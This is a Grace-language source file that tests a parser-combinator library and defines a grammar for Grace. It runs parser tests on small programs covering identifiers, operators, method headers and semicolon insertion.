test { lineBreak("same").parse(stringInputStream(indentStx, 9)).succeeded } expecting (false) comment "cnl9-8"
currentIndentation := 0
def hello = (tokenParser("Hello"))
def dsp = digitStringParser
def ini = sequentialParser(
graceIdentifierParser,
sequentialParser(
whiteSpaceParser,
graceIdentifierParser))
def ini2 = (graceIdentifierParser) ~
(whiteSpaceParser) ~
graceIdentifierParser
def alt = alternativeParser(hello,dsp)
def alt2 = hello | dsp
def rpx = repetitionParser(tokenParser("x"))
def rpx2 = rep(tokenParser("x"))
def rpx1 = rep1(tokenParser("x"))
def rs = repsep(tokenParser("x"),tokenParser("c"))
def r1s = rep1sep(tokenParser("x"),tokenParser("c"))
def rd = repdel(tokenParser("x"),tokenParser("c"))
//////////////////////////////////////////////////
// test!
test {strm.take(5)}
expecting "Hello"
comment "strm.take(5)"
test {strm.rest(6).take(5)}
expecting "World"
comment "strm.rest(6).take(5)"
test {tokenParser("Hello").parse(strm).succeeded}
expecting(true)
comment "tokenParser(\"Hello\")"
test {tokenParser("Hellx").parse(strm).succeeded}
expecting(false)
comment "tokenParser(\"Hellx\")"
test {whiteSpaceParser.parse(strm).succeeded}
expecting(false)
comment "whiteSpaceParser"
test {whiteSpaceParser.parse(strm2).succeeded}
expecting(true)
comment "whiteSpaceParser"
test {whiteSpaceParser.parse(strm2).next.position}
expecting(4)
comment "whiteSpaceParser - eating 4"
test {isletter "A"} expecting (true) comment "isletter A"
test {isletter "F"} expecting (true) comment "isletter F"
test {isletter "Z"} expecting (true) comment "isletter Z"
test {isletter "a"} expecting (true) comment "isletter a"
test {isletter "f"} expecting (true) comment "isletter f"
test {isletter "z"} expecting (true) comment "isletter z"
test {isletter "$"} expecting (false) comment "isletter $"
test {isletter "0"} expecting (false) comment "isletter 0"
test {isletter "1"} expecting (false) comment "isletter 1"
test {isletter "9"} expecting (false) comment "isletter 9"
test {isdigit "A"} expecting (false) comment "isdigit A"
test {isdigit "F"} expecting (false) comment "isdigit F"
test {isdigit "Z"} expecting (false) comment "isdigit A"
test {isdigit "a"} expecting (false) comment "isdigit a"
test {isdigit "f"} expecting (false) comment "isdigit f"
test {isdigit "z"} expecting (false) comment "isdigit z"
test {isdigit "$"} expecting (false) comment "isdigit $"
test {isdigit "0"} expecting (true) comment "isdigit 0"
test {isdigit "1"} expecting (true) comment "isdigit 1"
test {isdigit "9"} expecting (true) comment "isdigit 9"
test {whiteSpaceParser.parse(strm2).next.position}
expecting(4)
comment "whiteSpaceParser - eating 4"
test {graceIdentifierParser.parse(strmus).next.position}
expecting(2)
comment "graceIdentifierParser us - eating 2"
test {graceIdentifierParser.parse(strmus).succeeded}
expecting(true)
comment "graceIdentifierParser us OK"
test {graceIdentifierParser.parse(strmus).result}
expecting("_")
comment "graceIdentifierParser. us _"
test {graceIdentifierParser.parse(strmab).next.position}
expecting(12)
comment "graceIdentifierParser ab12 "
test {graceIdentifierParser.parse(strmab).succeeded}
expecting(true)
comment "graceIdentifierParser ab OK"
test {graceIdentifierParser.parse(strmab).result}
expecting("abc4de'a123")
comment "graceIdentifierParser.ab - eating 2"
test {graceIdentifierParser.parse(strmas).next.position}
expecting(2)
comment "graceIdentifierParser as pos"
test {graceIdentifierParser.parse(strmas).succeeded}
expecting(true)
comment "graceIdentifierParser as"
test {graceIdentifierParser.parse(strmas).result}
expecting("a")
comment "graceIdentifierParser as OK"
test {graceIdentifierParser.parse(strmnn).succeeded}
expecting(false)
comment "graceIdentifierParser nn - eating 1"
test {digitStringParser.parse(strmnn).next.position}
expecting(5)
comment "digitStringParser as pos"
test {digitStringParser.parse(strmnn).succeeded}
expecting(true)
comment "digitStringParser as"
test {digitStringParser.parse(strmnn).result}
expecting("1234")
comment "digitStringParser as OK"
test {digitStringParser.parse(strmnx).next.position}
expecting(5)
comment "digitStringParser as pos"
test {digitStringParser.parse(strmnx).succeeded}
expecting(true)
comment "digitStringParser as"
test {digitStringParser.parse(strmnx).result}
expecting("1234")
comment "digitStringParser as OK"
test {sequentialParser(ws,hello).parse(strm2).succeeded}
expecting(true)
comment "sequentialParser strm2 OK"
test {sequentialParser(ws,hello).parse(strm).succeeded}
expecting(false)
comment "sequentialParser strm OK"
test {sequentialParser(ws,hello).parse(strmab).succeeded}
expecting(false)
comment "sequentialParser strm3 OK"
test {ini.parse(strmas).succeeded}
expecting(true)
comment "sequentialParser ini OK"
test {ini.parse(strmas).result}
expecting("a bcb")
comment "sequentialParser a bcb OK"
test {sequentialParser(ws,hello).parse(strm2).succeeded}
expecting(true)
comment "sequentialParser strm2 OK"
test {(ws ~ hello).parse(strm2).succeeded}
expecting(true)
comment "sequentialParser strm2 OK"
test {ini2.parse(strmas).succeeded}
expecting(true)
comment "sequentialParser ini2 OK"
test {ini2.parse(strmas).result}
expecting("a bcb")
comment "sequentialParser a bcb2 OK"
test {opt(hello).parse(strm).succeeded}
expecting(true)
comment "optionalParser opt(hello) OK"
test {opt(hello).parse(strmab).succeeded}
expecting(true)
comment "optionalParser opt(hello) abOK"
test {alt.parse(strm).succeeded}
expecting(true)
comment "alt Hello OK"
test {alt.parse(strmnn).succeeded}
expecting(true)
comment "alt nn OK"
test {alt2.parse(strm).succeeded}
expecting(true)
comment "alt2 Hello OK"
test {alt2.parse(strmnn).succeeded}
expecting(true)
comment "alt2 nn OK"
test {rpx.parse(strm).succeeded}
expecting(true)
comment "rpx Hello OK"
test {rpx.parse(strmxx).succeeded}
expecting(true)
comment "rpx xx OK"
test {rpx.parse(strmxx).result}
expecting("xxxxx")
comment "rpx xxxxx OK"
test {rpx2.parse(strm).succeeded}
expecting(true)
comment "rpx2 Hello OK"
test {rpx2.parse(strmxx).succeeded}
expecting(true)
comment "rpx2 xx OK"
test {rpx2.parse(strmxx).result}
expecting("xxxxx")
comment "rpx2 xxxxx OK"
test {rpx1.parse(strm).succeeded}
expecting(false)
comment "rpx1 Hello OK"
test {rpx1.parse(strmxx).succeeded}
expecting(true)
comment "rpx1 xx OK"
test {rpx1.parse(strmxx).result}
expecting("xxxxx")
comment "rpx1 xxxxx OK"
test {rpx1.parse(strmxx).next.atEnd}
expecting(true)
comment "rpx1 atEnd OK"
test {dropParser(hello).parse(strm).succeeded}
expecting(true)
comment "dropParser(\"Hello\")"
test {dropParser(hello).parse(strm).result}
expecting("")
comment "dropParser(\"Hello\") result"
test {dropParser(tokenParser("Hellx")).parse(strm).succeeded}
expecting(false)
comment "dropParser(tokenParser(\"Hellx\"))"
test {drop(hello).parse(strm).result}
expecting("")
comment "drop(hello) result"
test {trim(hello).parse(strm2).succeeded}
expecting(true)
comment "trim(hello) result"
test {trim(hello).parse(strm2).next.position}
expecting(10)
comment "trim(hello) next"
test {trim(symbol("Hello")).parse(strm2).result}
expecting("Hello")
comment "trim(symbol(hello)) (not taking trailing space)"
test {rs.parse(strmxc).succeeded}
expecting(true)
comment "rs xc"
test {rs.parse(strmxc).next.position}
expecting(6)
comment "rs xc p "
test {rs.parse(strmnn).succeeded}
expecting(true)
comment "rs nn"
test {rs.parse(strmnn).next.position}
expecting(1)
comment "rs nn p"
test {rs.parse(strmxcx).succeeded}
expecting(true)
comment "rs xcx"
test {rs.parse(strmxcx).next.position}
expecting(4)
comment "rs xcx p"
test {r1s.parse(strmx).succeeded}
expecting(true)
comment "r1s x f"
test {r1s.parse(strmx).next.position}
expecting(2)
comment "r1s x f"
test {r1s.parse(strmxc).succeeded}
expecting(true)
comment "r1s xc"
test {r1s.parse(strmxc).next.position}
expecting(6)
comment "r1s xc p"
test {r1s.parse(strmx).succeeded}
expecting(true)
comment "r1s x f"
test {r1s.parse(strmx).next.position}
expecting(2)
comment "r1s x f"
test {r1s.parse(strmnn).succeeded}
expecting(false)
comment "r1s nn"
test {rd.parse(strmxc).succeeded}
expecting(true)
comment "rd xc"
test {rd.parse(strmxc).next.position}
expecting(6)
comment "rd xc p "
test {rd.parse(strmnn).succeeded}
expecting(true)
comment "rd nn"
test {rd.parse(strmnn).next.position}
expecting(1)
comment "rd nn p"
test {rd.parse(strmcx).succeeded}
expecting(true)
comment "rd cx"
test {rd.parse(strmcx).next.position}
expecting(5)
comment "rd cx p "
test {rs.parse(strmcx).succeeded}
expecting(true)
comment "rs cx"
test {rs.parse(strmcx).next.position}
expecting(4)
comment "rs cx p "
test {rule {tokenParser("Hello")}.parse(strm).succeeded}
expecting(true)
comment "rule tokenParser(\"Hello\")"
test {rule {tokenParser("Hellx")}.parse(strm).succeeded}
expecting(false)
comment "rule tokenParser(\"Hellx\")"
test {atEndParser.parse(rpx1.parse(strmxx).next).succeeded}
expecting(true)
comment "atEnd OK"
test {atEndParser.parse(strmxx).succeeded}
expecting(false)
comment "not atEnd OK"
test {characterSetParser("Helo Wrd").parse(strm).succeeded}
expecting(true)
comment "CSP OK"
test {rep(characterSetParser("Helo Wrd")).parse(strm).next.position}
expecting(12)
comment "CSP next OK"
test (not(hello)) on "Hello" wrongly "not(hello)"
test (not(hello)) on "Bood" correctly "not(hello)"
test (not(not(hello))) on "Hello" correctly "not(not(hello)) Hello"
test (both(hello,dsp)) on "Hello" wrongly "both1"
test (both(hello,hello)) on "Hello" correctly "both2"
test (both(hello,not(dsp))) on "Hello" correctly "both3"
test (empty) on "Hello" correctly "empty1"
test (empty) on "12345" correctly "empty2"
test (empty) on "" correctly "empty3"
test (empty ~ hello) on "Hello" correctly "e~h"
test (hello ~ empty) on "Hello" correctly "h~e"
test (hello | empty) on "Hello" correctly "h|e H"
test (empty | hello) on "Hello" correctly "e|h H"
test (hello | empty) on " " correctly "h|e ws"
test (empty | hello) on " " correctly "h|e ws"
test (guard(dsp,{ s -> true})) on "1234" correctly "guard t"
test (guard(dsp,{ s -> false})) on "1234" wrongly "guard f"
test (guard(dsp, { s -> s == "1234" } )) on "1234" correctly "guard 1234"
test (guard(dsp, { s -> s == "1234" } )) on "1235" wrongly "guard f"
print "------: done combinator tests"
//////////////////////////////////////////////////
// Grace Parser
//BEGINGRAMMAR
// top level
def program = rule {codeSequence ~ rep(ws) ~ end}
def codeSequence = rule { repdel((declaration | statement | empty), semicolon) }
def innerCodeSequence = rule { repdel((innerDeclaration | statement | empty), semicolon) }
// def comment =
// declarations
def declaration = rule {
varDeclaration | defDeclaration | classDeclaration |
typeDeclaration | methodDeclaration }
def innerDeclaration = rule {
varDeclaration | defDeclaration | classDeclaration | typeDeclaration }
def varDeclaration = rule {
varId ~ identifier ~ opt(colon ~ typeExpression) ~ opt(assign ~ expression) }
def defDeclaration = rule {
defId ~ identifier ~ opt(colon ~ typeExpression) ~ equals ~ expression }
def methodDeclaration = rule {
methodId ~ methodHeader ~ methodReturnType ~ whereClause ~
lBrace ~ innerCodeSequence ~ rBrace }
def classDeclaration = rule {
classId ~ identifier ~ dot ~ classHeader ~ methodReturnType ~ whereClause ~
lBrace ~ inheritClause ~ codeSequence ~ rBrace }
//def oldClassDeclaration = rule { classId ~ identifier ~ lBrace ~
// opt(genericFormals ~ blockFormals ~ arrow) ~ codeSequence ~ rBrace }
//warning: order here is significant!
def methodHeader = rule { accessingAssignmentMethodHeader | accessingMethodHeader | assignmentMethodHeader | methodWithArgsHeader | unaryMethodHeader | operatorMethodHeader | prefixMethodHeader }
def classHeader = rule { methodWithArgsHeader | unaryMethodHeader }
def inheritClause = rule { opt( inheritId ~ expression ~ semicolon ) }
def unaryMethodHeader = rule { identifier ~ genericFormals }
def methodWithArgsHeader = rule { firstArgumentHeader ~ repsep(argumentHeader,opt(ws)) }
def firstArgumentHeader = rule { identifier ~ genericFormals ~ methodFormals }
def argumentHeader = rule { identifier ~ methodFormals }
def operatorMethodHeader = rule { otherOp ~ oneMethodFormal }
def prefixMethodHeader = rule { opt(ws) ~ token("prefix") ~ otherOp } // forbid space after prefix?
def assignmentMethodHeader = rule { identifier ~ assign ~ oneMethodFormal }
def accessingMethodHeader = rule { lrBrack ~ genericFormals ~ methodFormals }
def accessingAssignmentMethodHeader = rule { lrBrack ~ assign ~ genericFormals ~ methodFormals }
def methodReturnType = rule { opt(arrow ~ nonEmptyTypeExpression ) }
def methodFormals = rule { lParen ~ rep1sep( identifier ~ opt(colon ~ opt(ws) ~ typeExpression), comma) ~ rParen}
def oneMethodFormal = rule { lParen ~ identifier ~ opt(colon ~ typeExpression) ~ rParen}
def blockFormals = rule { repsep( identifier ~ opt(colon ~ typeExpression), comma) }
def matchBinding = rule{ (identifier | literal | parenExpression) ~
opt(colon ~ nonEmptyTypeExpression ~ opt(matchingBlockTail)) }
def matchingBlockTail = rule { lParen ~ rep1sep(matchBinding, comma) ~ rParen }
def typeDeclaration = rule {
typeId ~ identifier ~ genericFormals ~
equals ~ nonEmptyTypeExpression ~ (semicolon | whereClause)}
//these are the things that work - 24 July with EELCO
def typeExpression = rule { (opt(ws) ~ typeOpExpression ~ opt(ws)) | opt(ws) }
def nonEmptyTypeExpression = rule { opt(ws) ~ typeOpExpression ~ opt(ws) }
//these definitely don't - 24 July with EELCO
// def typeExpression = rule { (opt(ws) ~ expression ~ opt(ws)) | opt(ws) }
//def nonEmptyTypeExpression = rule { opt(ws) ~ expression ~ opt(ws) }
def typeOp = rule { opsymbol("|") | opsymbol("&") | opsymbol("+") }
// def typeOpExpression = rule { rep1sep(basicTypeExpression, typeOp) }
// this complex rule ensures two different typeOps have no precedence
def typeOpExpression = rule {
var otherOperator
basicTypeExpression ~ opt(ws) ~
opt( guard(typeOp, { s -> otherOperator:= s;
true })
~ rep1sep(basicTypeExpression ~ opt(ws),
guard(typeOp, { s -> s == otherOperator })
)
)
}
def basicTypeExpression = rule { nakedTypeLiteral | literal | pathTypeExpression | parenTypeExpression }
// if we keep this, note that in a typeExpression context { a; } is interpreted as type { a; }
// otherwise as the block { a; }
def pathTypeExpression = rule { opt(superId ~ dot) ~ rep1sep((identifier ~ genericActuals),dot) }
def parenTypeExpression = rule { lParen ~ typeExpression ~ rParen }
// statements
def statement = rule { returnStatement | (expression ~ opt(assignmentTail)) }
// do we need constraints here on which expressions can have an assignmentTail
// could try to rewrite as options including (expression ~ arrayAccess ~ assignmentTail)
// expression ~ dot ~ identifier ~ assignmentTail
def returnStatement = rule { returnId ~ opt(expression) } //doesn't need parens
def assignmentTail = rule { assign ~ expression }
// expressions
def expression = rule { opExpression }
//def opExpression = rule { rep1sep(addExpression, otherOp)}
// this complex rule ensures two different otherOps have no precedence
def opExpression = rule {
var otherOperator
addExpression ~ opt(ws) ~
opt( guard(otherOp, { s -> otherOperator:= s;
true }) ~ rep1sep(addExpression ~ opt(ws),
guard(otherOp, { s -> s == otherOperator })
)
)
}
def addExpression = rule { rep1sep(multExpression, addOp) }
def multExpression = rule { rep1sep(prefixExpression, multOp) }
def prefixExpression = rule { (rep(otherOp) ~ selectorExpression) | (rep1(otherOp) ~ superId) }
// we can have !super
def selectorExpression = rule { primaryExpression ~ rep(selector) }
def selector = rule {
(dot ~ unaryRequest) |
(dot ~ requestWithArgs) |
(lBrack ~ rep1sep(expression,comma) ~ rBrack)
}
def operatorChar = characterSetParser("!?@#$%^&|~=+-*/><:.") // had to be moved up
//special symbol for operators: cannot be followed by another operatorChar
method opsymbol(s : String) {trim(token(s) ~ not(operatorChar))}
def multOp = opsymbol "*" | opsymbol "/"
def addOp = opsymbol "+" | opsymbol "-"
def otherOp = rule { guard(trim(rep1(operatorChar)), { s -> ! parse(s) with( reservedOp ~ end ) })}
// encompasses multOp and addOp
def operator = rule { otherOp | reservedOp }
def unaryRequest = rule { trim(identifier) ~ genericActuals ~ not(delimitedArgument) }
def requestWithArgs = rule { firstRequestArgumentClause ~ repsep(requestArgumentClause,opt(ws)) }
def firstRequestArgumentClause = rule { identifier ~ genericActuals ~ opt(ws) ~ delimitedArgument }
def requestArgumentClause = rule { identifier ~ opt(ws) ~ delimitedArgument }
def delimitedArgument = rule { argumentsInParens | blockLiteral | stringLiteral }
def argumentsInParens = rule { lParen ~ rep1sep(drop(opt(ws)) ~ expression, comma) ~ rParen }
def implicitSelfRequest = rule { requestWithArgs | rep1sep(unaryRequest,dot) }
def primaryExpression = rule { literal | nonNakedSuper | implicitSelfRequest | parenExpression }
def parenExpression = rule { lParen ~ rep1sep(drop(opt(ws)) ~ expression, semicolon) ~ rParen }
// TODO should parenExpression be around a codeSequence?
def nonNakedSuper = rule { superId ~ not(not( operator | lBrack )) }
// "generics"
def genericActuals = rule {
opt(lGeneric ~ opt(ws)
~ rep1sep(opt(ws) ~ typeExpression ~ opt(ws),opt(ws) ~ comma ~ opt(ws))
~ opt(ws) ~ rGeneric) }
def genericFormals = rule { opt(lGeneric ~ rep1sep(identifier, comma) ~ rGeneric) }
def whereClause = rule { repdel(whereId ~ typePredicate, semicolon) }
def typePredicate = rule { expression }
//wherever genericFormals appear, there should be a whereClause nearby.
// "literals"
def literal = rule { stringLiteral | selfLiteral | blockLiteral | numberLiteral |
objectLiteral | tupleLiteral | typeLiteral }
def stringLiteral = rule { opt(ws) ~ doubleQuote ~ rep( stringChar ) ~ doubleQuote ~ opt(ws) }
def stringChar = rule { (drop(backslash) ~ escapeChar) | anyChar | space}
def blockLiteral = rule { lBrace ~ opt( (matchBinding | blockFormals) ~ arrow)
~ innerCodeSequence ~ rBrace }
def selfLiteral = symbol "self"
def numberLiteral = trim(digitStringParser)
def objectLiteral = rule { objectId ~ lBrace ~ inheritClause ~ codeSequence ~ rBrace }
//these are *not* in the spec - EELCO
def tupleLiteral = rule { lBrack ~ repsep( expression, comma ) ~ rBrack }
def typeLiteral = rule { typeId ~ opt(ws) ~ nakedTypeLiteral }
//kernan
def nakedTypeLiteral = rule { lBrace ~ opt(ws) ~ repdel(methodHeader ~ methodReturnType, (semicolon | whereClause)) ~ opt(ws) ~ rBrace }
// terminals
def backslash = token "\\" // doesn't belong here, doesn't work if left below!
def doubleQuote = token "\""
def space = token " "
def semicolon = rule { (symbol(";") ~ opt(newLine)) | (opt(ws) ~ lineBreak("left" | "same") ~ opt(ws)) }
def colon = rule {both(symbol ":", not(assign))}
def newLine = symbol "\n"
def lParen = symbol "("
def rParen = symbol ")"
def lBrace = symbol "\{"
def rBrace = symbol "\}"
def lBrack = symbol "["
def rBrack = symbol "]"
def lrBrack = symbol "[]"
def arrow = symbol "->"
def dot = symbol "."
def assign = symbol ":="
def equals = symbol "="
def lGeneric = token "<"
def rGeneric = token ">"
def comma = rule { symbol(",") }
def escapeChar = characterSetParser("\\\"'\{\}bnrtlfe ")
def azChars = "abcdefghijklmnopqrstuvwxyz"
def AZChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def otherChars = "1234567890~!@#$%^&*()_-+=[]|\\:;<,>.?/"
def anyChar = characterSetParser(azChars ++ AZChars ++ otherChars)
def identifierString = (graceIdentifierParser ~ drop(opt(ws)))
// def identifier = rule { bothAll(trim(identifierString),not(reservedIdentifier)) }
// bothAll ensures parses take the same length
// def identifier = rule{ both(identifierString,not(reservedIdentifier)) }
// both doesn't ensure parses take the same length
def identifier = rule { guard(identifierString, { s -> ! parse(s) with( reservedIdentifier ~ end ) })}
// probably works but runs out of stack
// anything in this list needs to be in reservedIdentifier below (or it won't do what you want)
def superId = symbol "super"
def extendsId = symbol "extends"
def inheritId = symbol "inherit"
def classId = symbol "class"
def objectId = symbol "object"
def typeId = symbol "type"
def whereId = symbol "where"
def defId = symbol "def"
def varId = symbol "var"
def methodId = symbol "method"
def prefixId = symbol "prefix"
def interfaceId = symbol "interface"
def returnId = symbol "return"
//where is OUTER??? - EELCO July 25
//kernan
def reservedIdentifier = rule {selfLiteral | superId | extendsId | inheritId | classId | objectId | typeId | whereId | returnId | defId | varId | methodId | prefixId | interfaceId } // more to come
def reservedOp = rule {assign | equals | dot | arrow | colon | semicolon} // this is not quite right
//ENDGRAMMAR
//////////////////////////////////////////////////
// Grace Parser Tests
print "------: starting parser tests defs"
def t001 = stringInputStream("print(\"Hello, world.\")",1)
def t001s = stringInputStream("print(\"Hello, world.\")",7)
def t001c = stringInputStream("print(\"Hello, world.\")",8)
def t001ss = stringInputStream("print \"Hello, world.\"",1)
def t001b = stringInputStream("print \{ foo; bar; \}",1)
def t002 = stringInputStream("hello",1)
def t003 = stringInputStream("print(\"Hello, world.\") print(\"Hello, world.\")" ,1)
def t003a = stringInputStream("print(\"Hello, world.\")print(\"Hello, world.\")" ,1)
print "------: starting parser tests"
//testing semicolon insertion
test ( semicolon ~ end ) on ";" correctly "XS1"
test ( semicolon ~ end ) on "\n" correctly "XS2"
test ( semicolon ~ end ) on "\n " correctly "XS3"
test ( semicolon ~ end ) on " \n" correctly "XS3a"
test ( semicolon ~ end ) on " \n " correctly "XS4"
test ( semicolon ~ end ) on ";\n" correctly "XS5"
test ( repsep( methodHeader ~ methodReturnType, newLine)) on "foo\n" correctly "X16d1"
test ( repsep( methodHeader ~ methodReturnType, newLine)) on "foo\nbar\n" correctly "X16d2"
test ( repsep( methodHeader ~ methodReturnType, newLine)) on "foo\nbar\nbaz" correctly "X16d3"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo\n" correctly "X16d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo\nbar\n" correctly "X16d2"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo\nbar\nbaz" correctly "X16d3"
test (codeSequence ~ end) on "foo\n" correctly "X13a1"
test (codeSequence ~ end) on "foo(\n" wrongly "X13x1"
test (codeSequence ~ end) on "foo\nbar\n" correctly "X13a11"
test (codeSequence ~ end) on "foo\nbar\nbaz" correctly "X13a12"
test (codeSequence ~ end) on "foo(x)\n bar(x)\n" correctly "X13a13"
test (ws ~ identifier ~ end) on "\n x" correctly "X13a13.1"
test (ws ~ identifier ~ ws ~ identifier ~ end) on "\n x\n x" correctly "X13a13.2"
test (ws ~ end) on " " correctly "X13a13.3"
test (ws ~ end) on " " correctly "X13a13.4"
test (ws ~ identifier ~ end) on " \n x" correctly "X13a13.5"
test (ws ~ identifier ~ end) on " \n x" correctly "X13a13.6"
test (ws ~ identifier ~ end) on "\n xx" correctly "X13a13.7"
test (codeSequence ~ end) on "foo(x)\n bar(x)\n baz(x)" correctly "X13a14"
test (codeSequence ~ identifier) on "var x := 4\nfoo\ndef b = 4\nbar\nbaz" correctly "013a2z"
currentIndentation := 1
test (codeSequence ~ identifier) on " var x := 4\n foo\n def b = 4\n bar\n baz" correctly "013a2"
test (codeSequence ~ identifier) on " var x := 4\n foo\n 3+4\n def b = 4\n bar\n 1+2\n baz\n" correctly "013a3"
currentIndentation := 0
testProgramOn "method foo \{a;\n b;\n c;\n\}" correctly "X17c1"
testProgramOn " method foo \{a;\n b;\n c;\n\}" wrongly "X17c2"
testProgramOn "method foo \{\n a;\n b;\n c;\n\}" correctly "X17c3"
testProgramOn "method foo<T>(a) where T < Foo; \{a;\n b;\n c;\n\}" correctly "X17d1"
testProgramOn "method foo<T>(a) where T < Foo; \{ a\n b\n c\n\}" wrongly "X17d2" //hmm
testProgramOn "method foo<T>(a) where T < Foo; \{\n a\n b\n c\n\}" correctly "X17d3"
test (ws ~ (token "1") ~ indentAssert(1)) on (indentStx) correctly "I20t1"
test (ws ~ (token "11") ~ (token "\n") ~ ws ~ indentAssert(2)) on (indentStx) correctly "I20t2"
test (ws ~ (token "11") ~ (token "\n") ~ ws ~ (token("22")) ~ (token "\n") ~ (token("no")) ~ indentAssert(0)) on (indentStx) correctly "I20t3"
test (ws ~ (token "11") ~ semicolon ~ indentAssert(2)) on (indentStx) wrongly "I20t4"
test (ws ~ (token "11") ~ semicolon ~ symbol("22")) on (indentStx) wrongly "I20t4a"
test (ws ~ (token "11") ~ semicolon ~ symbol("22") ~ semicolon) on (indentStx) wrongly "I20t4b"
test (ws ~ (token "11") ~ semicolon ~ (symbol("22")) ~ semicolon ~ (symbol("no")) ~ indentAssert(0)) on (indentStx) wrongly "I20t5"
print "done"
// return
test {symbol("print").parse(t001).succeeded}
expecting(true)
comment "symbol print"
test {newLine.parse(t001).succeeded}
expecting(false)
comment "newLine"
test {rep(anyChar).parse(t001c).succeeded}
expecting(true)
comment "anyChar"
test {rep(anyChar).parse(t001c).next.position}
expecting(14)
comment "anyChar posn"
test {rep(stringChar).parse(t001c).succeeded}
expecting(true)
comment "stringChar"
test {rep(stringChar).parse(t001c).next.position}
expecting(21)
comment "stringChar posn"
test {stringLiteral.parse(t001s).succeeded}
expecting(true)
comment "stringLiteral"
test {program.parse(t001).succeeded}
expecting(true)
comment "001-print"
test(requestWithArgs ~ end) on("print(\"Hello World\")") correctly("001-RWA")
test(requestWithArgs ~ end) on("print \"Hello World\"") correctly("001-RWA-noparens")
test(implicitSelfRequest ~ end) on("print(\"Hello World\")") correctly("001-ISR")
test(implicitSelfRequest ~ end) on("print \"Hello World\"") correctly("001-ISR-noparens")
test(expression ~ end) on("print(\"Hello World\")") correctly("001-Exp")
test(expression ~ end) on("print \"Hello World\"") correctly("001-Exp-noparens")
test {program.parse(t002).succeeded}
expecting(true)
comment "002-helloUnary"
test {program.parse(t003).succeeded}
expecting(true)
comment "003-hello hello"
test {program.parse(t003).succeeded}
expecting(true)
comment "003a-hellohello"
test {program.parse(t001ss).succeeded}
expecting(true)
comment "001ss-stringarg"
test {program.parse(t001b).succeeded}
expecting(true)
comment "001b-blockarg"
testProgramOn("self") correctly("004-self")
testProgramOn("(self)") correctly("004p-self")
testProgramOn("(hello)") correctly("004p-hello")
test(expression ~ end) on("foo") correctly("005-foo")
test(expression ~ end) on("(foo)") correctly("005-foo")
test(primaryExpression ~ end) on("(foo)") correctly("005-pri(foo)")
test(argumentsInParens ~ end) on("(foo)") correctly("005-aIP(foo)")
test(requestArgumentClause ~ end) on("print(\"Hello\")") correctly("005-racqhello")
test(identifier ~ end) on("foo") correctly("006id")
test(expression ~ end) on("foo") correctly("006exp")
test(primaryExpression ~ end) on("foo") correctly("006primaryExp")
test(addOp ~ end) on("+") correctly("006plus is addOp")
test(expression ~ end) on("foo+foo") correctly("006exp")
test(expression ~ end) on("foo + foo") correctly("006exp")
test(addOp ~ end) on("+") correctly("006")
test(multExpression ~ end) on("foo") correctly("006mult")
test(addExpression ~ end) on("foo + foo") correctly("006add")
test(expression ~ end) on("foo + foo + foo") correctly("006expr")
test(expression ~ end) on("foo * foo + foo") correctly("006expr")
test(expression ~ end) on("((foo))") correctly("006expr")
test(parenExpression ~ end ) on("((foo))") correctly("006paren")
test(otherOp ~ end) on("%%%%%") correctly("006other")
test(opExpression ~ end) on("foo") correctly "006OpExprFOO"
test(opExpression ~ end) on("foo %%%%% foo") correctly("006OpExprTWO")
test(opExpression ~ end) on("foo %%%%% foo %%%%% foo") correctly("006OpExpr")
test(identifier ~ otherOp ~ identifier ~ otherOp ~ identifier ~ end) on("foo %%%%% foo %%%%% foo") correctly("006OpExprHACK")
test(identifier ~ otherOp ~ identifier ~ otherOp ~ identifier ~ end) on("foo%%%%%foo%%%%%foo") correctly("006OpExprHACKnows")
test(expression ~ end) on("foo %%%%% foo %%%%% foo") correctly("006expr")
test(parenExpression ~ end) on("(foo + foo)") correctly("006parenE")
test(lParen ~ identifier ~ addOp ~ identifier ~ rParen ~ end) on("(foo + foo)") correctly("006hack")
test(lParen ~ primaryExpression ~ addOp ~ primaryExpression ~ rParen ~ end) on("(foo + foo)") correctly("006hackPrimary")
test(lParen ~ multExpression ~ addOp ~ multExpression ~ rParen ~ end) on("(foo + foo)") correctly("006hackMult")
test(lParen ~ rep1sep(multExpression, addOp) ~ rParen ~ end) on("(foo + foo)") correctly("006hackRepSep")
test(lParen ~ repsep(multExpression, addOp) ~ rParen ~ end) on("(foo+foo)") correctly("006hackRepSep2")
test(lParen ~ multExpression ~ repsep(addOp, multExpression) ~ rParen ~ end) on("(foo+foo)") wrongly("006hackRepSep2F")
test(lParen ~ multExpression ~ repsep(addOp, multExpression) ~ rParen ~ end) on("(foo + foo)") wrongly("006hackRepSepF")
test(expression ~ end) on("(foo + foo)") correctly("006")
test(expression ~ end) on("(foo + foo) - foo") correctly("006")
test(expression ~ end) on("(foo + foo - foo)") correctly("006")
test(expression ~ end) on("(foo+foo)-foo") correctly("006")
test(expression ~ end) on("hello(foo+foo)") correctly("006")
testProgramOn "print(1)" correctly "006z1"
testProgramOn " print(1)" wrongly "006z2"
testProgramOn "print( 1 )" correctly "006z3"
testProgramOn "print(1 + 2)" correctly "006z4"
testProgramOn "print(1+2)" correctly "006z5"
testProgramOn "print(1 +2 )" correctly "006z6"
testProgramOn "print(10)" correctly "006z7"
testProgramOn "print (10)" correctly "006z8"
testProgramOn "print(10) print(10)" correctly "006z9"
testProgramOn "print(10)print(10)" correctly "006z10"
testProgramOn "print(10)print(10)" correctly "006z11"
testProgramOn "print(1+2) print (3 * 4)" correctly "006z12"
testProgramOn "foo(10) foo(11)" correctly "006z13"
testProgramOn "print(foo(10) foo(11))" correctly "006z14"
testProgramOn "print ( foo ( 10 ) foo ( 11 ) )" correctly "006z15"
testProgramOn "print(foo(10) foo(11) foo(12))" correctly "006z16"
testProgramOn "print(foo(10) foo(11)) print (3)" correctly "006z17"
testProgramOn "3*foo" correctly "006z18"
testProgramOn " 3 * foo" correctly "006z19"
testProgramOn "print(3*foo)" correctly "006z20"
testProgramOn "print(3*foo) print(5*foo)" correctly "006z21"
testProgramOn "4;5;6" correctly "006z22"
testProgramOn " 4 ; 5 ; 6 " correctly "006z23"
testProgramOn "print(4,5,6)" correctly "006z24"
testProgramOn "print((4;5;6))" correctly "006z25"
testProgramOn "print ( 4 , 5 , 6 ) " correctly "006z26"
testProgramOn "print ( ( 4 ; 5 ; 6 ) ) " correctly "006z27"
testProgramOn " foo ; bar ; baz " correctly "006z28"
testProgramOn "foo;bar;baz" correctly "006z29"
testProgramOn "foo := 3" correctly "006a30"
testProgramOn "foo:=3" correctly "006a31"
